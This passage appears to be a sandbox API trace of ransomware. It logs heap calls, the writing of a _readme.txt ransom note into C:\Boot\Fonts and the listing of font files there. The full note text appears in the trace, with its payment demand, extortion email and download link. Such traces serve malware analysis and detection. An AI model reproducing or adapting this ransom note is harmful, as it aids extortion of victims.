(HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.225] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.225] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.225] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.225] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.225] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.225] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.227] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.227] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.227] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.227] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.227] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.227] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.227] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.227] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.227] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.227] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.227] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.227] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.227] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.227] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.227] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.227] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.227] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.227] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.227] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.227] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.227] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.227] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.227] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.227] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.227] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.227] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.227] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.227] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.227] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.227] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.227] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.227] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.227] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.227] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.227] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.227] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.227] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.227] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.227] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.227] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.227] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.227] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.227] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.227] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.228] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.228] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.228] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.228] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.228] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.228] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.228] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.228] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.228] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.228] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.228] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.228] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.228] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.228] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.228] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.228] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.228] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.228] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.228] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.228] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.228] PathFindFileNameW (pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0124.228] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.228] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.228] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.228] PathFindFileNameW (pszPath="") returned="" [0124.228] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.228] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.228] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.229] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.229] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.229] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.229] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.229] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0124.229] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.229] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.229] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 0 [0124.229] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7d00) returned 0x3ae3bf0 [0124.230] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.230] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.230] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad9168 [0124.230] CreateFileW (lpFileName="C:\\Boot\\Fonts\\_readme.txt" (normalized: "c:\\boot\\fonts\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.230] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad9168 | out: hHeap=0x810000) returned 1 [0124.230] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3bf0 | out: hHeap=0x810000) returned 1 [0124.230] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.230] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.230] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.230] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.230] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.230] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0124.230] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0124.230] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0124.230] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0124.230] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0124.230] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0124.230] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.230] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.230] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.230] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450228 [0124.231] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.231] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.231] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.231] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.231] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.231] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.231] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.231] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.231] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.231] RtlAllocateHeap 